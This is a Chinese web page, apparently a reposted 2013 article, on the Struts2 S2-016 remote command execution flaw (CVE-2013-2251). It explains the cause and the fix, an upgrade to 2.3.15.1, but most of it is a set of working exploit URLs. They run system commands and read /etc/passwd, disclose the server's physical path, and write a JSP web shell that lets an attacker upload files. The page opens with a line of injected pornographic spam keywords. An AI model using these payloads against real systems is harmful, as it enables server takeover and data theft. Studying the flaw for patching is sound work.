小男孩‘自慰网亚洲一区二区,亚洲一级在线播放毛片,亚洲中文字幕av每天更新,黄aⅴ永久免费无码,91成人午夜在线精品,色网站免费在线观看,亚洲欧洲wwwww在线观看

分享

struts2遠(yuǎn)程命令執(zhí)行漏洞(s2

 dna26 2013-07-18
struts2遠(yuǎn)程命令執(zhí)行漏洞(s2-016)分析及防范
2013-07-18 08:30:51     我來說兩句       作者:阿德馬
收藏   我要投稿
Struts2的官網(wǎng)在17號上午又公布了一個遠(yuǎn)程命令執(zhí)行漏洞,隨后各種版本的利用工具滿天飛,對于wooyun和某些安全工程師童鞋來說,今天應(yīng)該是備受壓力和煎熬的一天!
 
17號上午11點空虛浪子心大牛的微博發(fā)了一條內(nèi)容,隨后經(jīng)過各種大牛的轉(zhuǎn)播,引爆了又一次的struts2遠(yuǎn)程命令執(zhí)行漏洞換rank的浪潮!上一次struts2遠(yuǎn)程命令執(zhí)行漏洞大爆發(fā)還要追溯到2012年5月份左右,同樣wooyun上各種刷rank的,當(dāng)時那些童鞋刷的rank如今已經(jīng)升值很多了!1rank=10QB=10元rmb了.當(dāng)時拼湊過一篇文章:http://www./Article/201206/138097.html
 
關(guān)于這次struts2遠(yuǎn)程命令執(zhí)行漏洞(s2-016),官方是這樣描述這個漏洞產(chǎn)生原因的:
 
Struts2的DefaultActionMapper支持一種方法,可以使用”action:”, “redirect:” , “redirectAction:”對輸入信息進(jìn)行處理,從而改變前綴參數(shù),這樣操作的目的是方便表單中的操作。在2.3.15.1版本以前的struts2中,沒有對”action:”, “redirect:” , “redirectAction:”等進(jìn)行處理,導(dǎo)致ongl表達(dá)式可以被執(zhí)行。
 
空虛浪子新大牛是這么描述這個漏洞的:”在struts中,框架接收到的用戶輸入,除了參數(shù)、值以外,還有其他地方,比如文件名。這個漏洞,是struts2對url中的文件名做了解析,導(dǎo)致的ognl代碼執(zhí)行。”
 
該漏洞影響版本:Struts 2.0.0 – Struts 2.3.15, CVE編號為:CVE-2013-2251
 
官方公布的漏洞利用poc細(xì)節(jié)如下:
 
1),簡單表達(dá)式,ongl表達(dá)式被求值
 
http://www./struts2/x.action?%25(3*4)
 
http://www./struts2/save.action?redirect:%25(3*4)
 
2),命令執(zhí)行
 
1,http://www./struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
2,http://www./struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
3,http://www./struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,'goes’,'here’})).start()}
 
下面總結(jié)了一些漏洞利用的exp:
 
命令執(zhí)行:
 
http://www./struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,'/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
 
爆網(wǎng)站的物理路徑:
 
http://www./struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}
 
getshell,寫入jsp一句話:
 
http://www./struts2/login.action?redirect:${%23req%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23p%3d(%23req.getRealPath(%22/%22)%2b%22css3.jsp%22).replaceAll(“\\\\”,”/”),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=%3c%25if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b%25%3e
 
以上利用方法轉(zhuǎn)載自互聯(lián)網(wǎng),僅供學(xué)習(xí)了解struts2,不要用作非法,后果自負(fù)!
 
漏洞修復(fù)建議
 
官方強(qiáng)烈建議升級到struts2 2.3.15.1,該版本包含校正過的struts2核心庫。
 
下載地址;http://struts./download.cgi#struts23151
 
有能力的公司,建議還是自己開發(fā)框架,不開源.一般的小菜白帽子也不可能黑盒測試獲取相關(guān)漏洞,不像struts2開源的,各種挖洞大神都可以去讀代碼挖洞!POC一公布又是各種利用工具,稍微懂點軟件使用的小菜都可以橫掃各大網(wǎng)站了

    本站是提供個人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多